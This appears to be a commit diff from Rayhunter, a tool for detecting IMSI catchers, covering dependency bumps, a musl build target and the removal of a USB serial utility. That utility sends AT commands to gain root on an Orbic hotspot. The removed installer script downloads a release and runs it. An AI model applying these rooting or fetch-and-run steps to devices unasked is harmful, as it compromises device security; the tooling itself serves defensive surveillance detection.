description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
|
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
|
||||||
|
|
||||||
@@ -18,7 +18,7 @@ tplink = []
|
|||||||
bytes = "1.5.0"
|
bytes = "1.5.0"
|
||||||
chrono = "0.4.31"
|
chrono = "0.4.31"
|
||||||
crc = "3.0.1"
|
crc = "3.0.1"
|
||||||
deku = { version = "0.16.0", features = ["logging"] }
|
deku = { version = "0.18.0", features = ["logging"] }
|
||||||
env_logger = "0.10.1"
|
env_logger = "0.10.1"
|
||||||
libc = "0.2.150"
|
libc = "0.2.150"
|
||||||
log = "0.4.20"
|
log = "0.4.20"
|
||||||
|
|||||||
@@ -60,7 +60,10 @@ impl Analyzer for ImsiRequestedAnalyzer {
|
|||||||
event_type: EventType::QualitativeWarning {
|
event_type: EventType::QualitativeWarning {
|
||||||
severity: Severity::High,
|
severity: Severity::High,
|
||||||
},
|
},
|
||||||
message: "NAS IMSI identity request detected".to_owned(),
|
message: format!(
|
||||||
|
"NAS IMSI identity request detected (packet {})",
|
||||||
|
self.packet_num
|
||||||
|
),
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+4
-4
@@ -25,14 +25,14 @@ pub struct RequestContainer {
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, PartialEq, DekuWrite)]
|
#[derive(Debug, Clone, PartialEq, DekuWrite)]
|
||||||
#[deku(type = "u32")]
|
#[deku(id_type = "u32")]
|
||||||
pub enum Request {
|
pub enum Request {
|
||||||
#[deku(id = "115")]
|
#[deku(id = "115")]
|
||||||
LogConfig(LogConfigRequest),
|
LogConfig(LogConfigRequest),
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, PartialEq, DekuWrite)]
|
#[derive(Debug, Clone, PartialEq, DekuWrite)]
|
||||||
#[deku(type = "u32", endian = "little")]
|
#[deku(id_type = "u32", endian = "little")]
|
||||||
pub enum LogConfigRequest {
|
pub enum LogConfigRequest {
|
||||||
#[deku(id = "1")]
|
#[deku(id = "1")]
|
||||||
RetrieveIdRanges,
|
RetrieveIdRanges,
|
||||||
@@ -46,7 +46,7 @@ pub enum LogConfigRequest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
|
#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
|
||||||
#[deku(type = "u32", endian = "little")]
|
#[deku(id_type = "u32", endian = "little")]
|
||||||
pub enum DataType {
|
pub enum DataType {
|
||||||
#[deku(id = "32")]
|
#[deku(id = "32")]
|
||||||
UserSpace,
|
UserSpace,
|
||||||
@@ -121,7 +121,7 @@ pub struct HdlcEncapsulatedMessage {
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
|
#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
|
||||||
#[deku(type = "u8")]
|
#[deku(id_type = "u8")]
|
||||||
pub enum Message {
|
pub enum Message {
|
||||||
#[deku(id = "16")]
|
#[deku(id = "16")]
|
||||||
Log {
|
Log {
|
||||||
|
|||||||
+12
-8
@@ -59,18 +59,22 @@ pub const LOG_CODES_FOR_RAW_PACKET_LOGGING: [u32; 11] = [
|
|||||||
const BUFFER_LEN: usize = 1024 * 1024 * 10;
|
const BUFFER_LEN: usize = 1024 * 1024 * 10;
|
||||||
const MEMORY_DEVICE_MODE: u32 = 2;
|
const MEMORY_DEVICE_MODE: u32 = 2;
|
||||||
|
|
||||||
#[cfg(target_arch = "arm")]
|
#[cfg(target_env = "musl")]
|
||||||
|
const DIAG_IOCTL_REMOTE_DEV: i32 = 32;
|
||||||
|
#[cfg(all(not(target_env = "musl"), target_arch = "arm"))]
|
||||||
const DIAG_IOCTL_REMOTE_DEV: u32 = 32;
|
const DIAG_IOCTL_REMOTE_DEV: u32 = 32;
|
||||||
#[cfg(target_arch = "x86_64")]
|
#[cfg(all(not(target_env = "musl"), target_arch = "x86_64"))]
|
||||||
const DIAG_IOCTL_REMOTE_DEV: u64 = 32;
|
const DIAG_IOCTL_REMOTE_DEV: u64 = 32;
|
||||||
#[cfg(target_arch = "aarch64")]
|
#[cfg(all(not(target_env = "musl"), target_arch = "aarch64"))]
|
||||||
const DIAG_IOCTL_REMOTE_DEV: u64 = 32;
|
const DIAG_IOCTL_REMOTE_DEV: u64 = 32;
|
||||||
|
|
||||||
#[cfg(target_arch = "arm")]
|
#[cfg(target_env = "musl")]
|
||||||
|
const DIAG_IOCTL_SWITCH_LOGGING: i32 = 7;
|
||||||
|
#[cfg(all(not(target_env = "musl"), target_arch = "arm"))]
|
||||||
const DIAG_IOCTL_SWITCH_LOGGING: u32 = 7;
|
const DIAG_IOCTL_SWITCH_LOGGING: u32 = 7;
|
||||||
#[cfg(target_arch = "x86_64")]
|
#[cfg(all(not(target_env = "musl"), target_arch = "x86_64"))]
|
||||||
const DIAG_IOCTL_SWITCH_LOGGING: u64 = 7;
|
const DIAG_IOCTL_SWITCH_LOGGING: u64 = 7;
|
||||||
#[cfg(target_arch = "aarch64")]
|
#[cfg(all(not(target_env = "musl"), target_arch = "aarch64"))]
|
||||||
const DIAG_IOCTL_SWITCH_LOGGING: u64 = 7;
|
const DIAG_IOCTL_SWITCH_LOGGING: u64 = 7;
|
||||||
|
|
||||||
pub struct DiagDevice {
|
pub struct DiagDevice {
|
||||||
@@ -126,8 +130,8 @@ impl DiagDevice {
|
|||||||
);
|
);
|
||||||
|
|
||||||
match MessagesContainer::from_bytes((&self.read_buf[0..bytes_read], 0)) {
|
match MessagesContainer::from_bytes((&self.read_buf[0..bytes_read], 0)) {
|
||||||
Ok((_, container)) => return Ok(container),
|
Ok((_, container)) => Ok(container),
|
||||||
Err(err) => return Err(DiagDeviceError::ParseMessagesContainerError(err)),
|
Err(err) => Err(DiagDeviceError::ParseMessagesContainerError(err)),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
#!/bin/sh
|
#!/bin/bash -e
|
||||||
cargo build --release --target="armv7-unknown-linux-gnueabihf" #--features debug
|
pushd bin/web
|
||||||
|
npm run build
|
||||||
|
popd
|
||||||
|
cargo build --release --target="armv7-unknown-linux-musleabihf" #--features debug
|
||||||
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
|
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
|
||||||
adb push target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon
|
adb push target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon /data/rayhunter/rayhunter-daemon
|
||||||
echo "rebooting the device..."
|
echo "rebooting the device..."
|
||||||
adb shell '/bin/rootshell -c "reboot"'
|
adb shell '/bin/rootshell -c "reboot"'
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "rootshell"
|
name = "rootshell"
|
||||||
version = "0.2.8"
|
version = "0.3.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|||||||
@@ -1,11 +0,0 @@
|
|||||||
[package]
|
|
||||||
name = "serial"
|
|
||||||
version = "0.2.6"
|
|
||||||
edition = "2021"
|
|
||||||
|
|
||||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
|
||||||
|
|
||||||
[dependencies]
|
|
||||||
anyhow = "1.0.97"
|
|
||||||
nusb = "0.1.13"
|
|
||||||
tokio = { version = "1.44.2", features = ["macros", "rt", "time"] }
|
|
||||||
@@ -1,173 +0,0 @@
|
|||||||
//! Serial communication with the orbic device
|
|
||||||
//!
|
|
||||||
//! This binary has two main functions, putting the orbic device in update mode which enables ADB
|
|
||||||
//! and running AT commands on the serial modem interface which can be used to upload a shell and chown it to root
|
|
||||||
//!
|
|
||||||
//! # Errors
|
|
||||||
//!
|
|
||||||
//! No device found - make sure your device is plugged in and turned on. If it is, it's possible you have a device with a different
|
|
||||||
//! usb id, file a bug with the output of `lsusb` attached.
|
|
||||||
use std::str;
|
|
||||||
use std::time::Duration;
|
|
||||||
|
|
||||||
use anyhow::{bail, Context, Result};
|
|
||||||
use nusb::transfer::{Control, ControlType, Recipient, RequestBuffer};
|
|
||||||
use nusb::{Device, Interface};
|
|
||||||
|
|
||||||
const ORBIC_NOT_FOUND: &str = r#"No Orbic device found.
|
|
||||||
Make sure your device is plugged in and turned on.
|
|
||||||
|
|
||||||
If it's possible you have a device with a different usb id:
|
|
||||||
please file a bug with the output of `lsusb` attached."#;
|
|
||||||
|
|
||||||
#[tokio::main(flavor = "current_thread")]
|
|
||||||
async fn main() -> Result<()> {
|
|
||||||
let args: Vec<String> = std::env::args().collect();
|
|
||||||
|
|
||||||
if args.len() != 2 || args[1] == "-h" || args[1] == "--help" {
|
|
||||||
println!("usage: {0} [<command> | --root]", args[0]);
|
|
||||||
std::process::exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
if args[1] == "--root" {
|
|
||||||
enable_command_mode()
|
|
||||||
} else {
|
|
||||||
match open_orbic()? {
|
|
||||||
Some(interface) => send_command(interface, &args[1]).await,
|
|
||||||
None => bail!(ORBIC_NOT_FOUND),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Sends an AT command to the usb device over the serial port
|
|
||||||
///
|
|
||||||
/// First establish a USB handle and context by calling `open_orbic(<T>)
|
|
||||||
async fn send_command(interface: Interface, command: &str) -> Result<()> {
|
|
||||||
let mut data = String::new();
|
|
||||||
data.push_str("\r\n");
|
|
||||||
data.push_str(command);
|
|
||||||
data.push_str("\r\n");
|
|
||||||
|
|
||||||
let timeout = Duration::from_secs(1);
|
|
||||||
|
|
||||||
let enable_serial_port = Control {
|
|
||||||
control_type: ControlType::Class,
|
|
||||||
recipient: Recipient::Interface,
|
|
||||||
request: 0x22,
|
|
||||||
value: 3,
|
|
||||||
index: 1,
|
|
||||||
};
|
|
||||||
|
|
||||||
// Set up the serial port appropriately
|
|
||||||
interface
|
|
||||||
.control_out_blocking(enable_serial_port, &[], timeout)
|
|
||||||
.context("Failed to send control request")?;
|
|
||||||
|
|
||||||
// Send the command
|
|
||||||
tokio::time::timeout(timeout, interface.bulk_out(0x2, data.as_bytes().to_vec()))
|
|
||||||
.await
|
|
||||||
.context("Timed out writing command")?
|
|
||||||
.into_result()
|
|
||||||
.context("Failed to write command")?;
|
|
||||||
|
|
||||||
// Consume the echoed command
|
|
||||||
tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
|
|
||||||
.await
|
|
||||||
.context("Timed out reading submitted command")?
|
|
||||||
.into_result()
|
|
||||||
.context("Failed to read submitted command")?;
|
|
||||||
|
|
||||||
// Read the actual response
|
|
||||||
let response = tokio::time::timeout(timeout, interface.bulk_in(0x82, RequestBuffer::new(256)))
|
|
||||||
.await
|
|
||||||
.context("Timed out reading response")?
|
|
||||||
.into_result()
|
|
||||||
.context("Failed to read response")?;
|
|
||||||
|
|
||||||
// For some reason, on macOS the response buffer gets filled with garbage data that's
|
|
||||||
// rarely valid UTF-8. Luckily we only care about the first couple bytes, so just drop
|
|
||||||
// the garbage with `from_utf8_lossy` and look for our expected success string.
|
|
||||||
let responsestr = String::from_utf8_lossy(&response);
|
|
||||||
if !responsestr.contains("\r\nOK\r\n") {
|
|
||||||
println!("Received unexpected response: {0}", responsestr);
|
|
||||||
std::process::exit(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Send a command to switch the device into generic mode, exposing serial
|
|
||||||
///
|
|
||||||
/// If the device reboots while the command is still executing you may get a pipe error here, not sure what to do about this race condition.
|
|
||||||
fn enable_command_mode() -> Result<()> {
|
|
||||||
if open_orbic()?.is_some() {
|
|
||||||
println!("Device already in command mode. Doing nothing...");
|
|
||||||
return Ok(());
|
|
||||||
}
|
|
||||||
|
|
||||||
let timeout = Duration::from_secs(1);
|
|
||||||
|
|
||||||
if let Some(device) = open_device(0x05c6, 0xf626)? {
|
|
||||||
let enable_command_mode = Control {
|
|
||||||
control_type: ControlType::Vendor,
|
|
||||||
recipient: Recipient::Device,
|
|
||||||
request: 0xa0,
|
|
||||||
value: 0,
|
|
||||||
index: 0,
|
|
||||||
};
|
|
||||||
let interface = device
|
|
||||||
.detach_and_claim_interface(1)
|
|
||||||
.context("detach_and_claim_interface(1) failed")?;
|
|
||||||
if let Err(e) = interface.control_out_blocking(enable_command_mode, &[], timeout) {
|
|
||||||
// If the device reboots while the command is still executing we
|
|
||||||
// may get a pipe error here
|
|
||||||
if e == nusb::transfer::TransferError::Stall {
|
|
||||||
return Ok(());
|
|
||||||
}
|
|
||||||
bail!("Failed to send device switch control request: {0}", e)
|
|
||||||
}
|
|
||||||
return Ok(());
|
|
||||||
}
|
|
||||||
|
|
||||||
bail!(ORBIC_NOT_FOUND);
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Get an Interface for the orbic device
|
|
||||||
fn open_orbic() -> Result<Option<Interface>> {
|
|
||||||
// Device after initial mode switch
|
|
||||||
if let Some(device) = open_device(0x05c6, 0xf601)? {
|
|
||||||
let interface = device
|
|
||||||
.detach_and_claim_interface(1) // will reattach drivers on release
|
|
||||||
.context("detach_and_claim_interface(1) failed")?;
|
|
||||||
return Ok(Some(interface));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Device with rndis enabled as well
|
|
||||||
if let Some(device) = open_device(0x05c6, 0xf622)? {
|
|
||||||
let interface = device
|
|
||||||
.detach_and_claim_interface(1) // will reattach drivers on release
|
|
||||||
.context("detach_and_claim_interface(1) failed")?;
|
|
||||||
return Ok(Some(interface));
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(None)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// General function to open a USB device
|
|
||||||
fn open_device(vid: u16, pid: u16) -> Result<Option<Device>> {
|
|
||||||
let devices = match nusb::list_devices() {
|
|
||||||
Ok(d) => d,
|
|
||||||
Err(_) => return Ok(None),
|
|
||||||
};
|
|
||||||
|
|
||||||
for device in devices {
|
|
||||||
if device.vendor_id() == vid && device.product_id() == pid {
|
|
||||||
match device.open() {
|
|
||||||
Ok(d) => return Ok(Some(d)),
|
|
||||||
Err(e) => bail!("device found but failed to open: {}", e),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(None)
|
|
||||||
}
|
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "telcom-parser"
|
name = "telcom-parser"
|
||||||
version = "0.2.8"
|
version = "0.3.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|||||||
@@ -1,5 +1,3 @@
|
|||||||
FROM rust:1.86-bullseye
|
FROM rust:1.86-bullseye
|
||||||
|
|
||||||
RUN apt-get update
|
RUN rustup target add armv7-unknown-linux-musleabihf
|
||||||
RUN apt-get install -y build-essential libc6-armhf-cross libc6-dev-armhf-cross gcc-arm-linux-gnueabihf
|
|
||||||
RUN rustup target add armv7-unknown-linux-gnueabihf
|
|
||||||
|
|||||||
@@ -1,18 +0,0 @@
|
|||||||
#!/bin/env bash
|
|
||||||
|
|
||||||
set -e
|
|
||||||
|
|
||||||
mkdir build
|
|
||||||
cd build
|
|
||||||
curl -LOs "https://github.com/EFForg/rayhunter/releases/latest/download/release.tar"
|
|
||||||
curl -LOs "https://github.com/EFForg/rayhunter/releases/latest/download/release.tar.sha256"
|
|
||||||
if ! sha256sum -c --quiet release.tar.sha256; then
|
|
||||||
echo "Download corrupted! (╯°□°)╯︵ ┻━┻"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
tar -xf release.tar
|
|
||||||
./install-linux.sh
|
|
||||||
|
|
||||||
cd ..
|
|
||||||
rm -rf build
|
|
||||||
@@ -9,9 +9,9 @@
|
|||||||
# ./tools/run-docker-devenv
|
# ./tools/run-docker-devenv
|
||||||
#
|
#
|
||||||
# Inside the shell:
|
# Inside the shell:
|
||||||
# cargo build --bin rayhunter-daemon --target armv7-unknown-linux-gnueabihf --release
|
# cargo build --bin rayhunter-daemon --target armv7-unknown-linux-musleabihf --release
|
||||||
#
|
#
|
||||||
# Your output binary is in ./target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon
|
# Your output binary is in ./target/armv7-unknown-linux-musleabihf/release/rayhunter-daemon
|
||||||
|
|
||||||
docker build -t rayhunter-devenv -f tools/devenv.dockerfile .
|
docker build -t rayhunter-devenv -f tools/devenv.dockerfile .
|
||||||
exec docker run --user $UID:$GID -v ./:/workdir -w /workdir -it rayhunter-devenv "$@"
|
exec docker run --user $UID:$GID -v ./:/workdir -w /workdir -it rayhunter-devenv "$@"
|
||||||
|
|||||||
Reference in New Issue
Block a user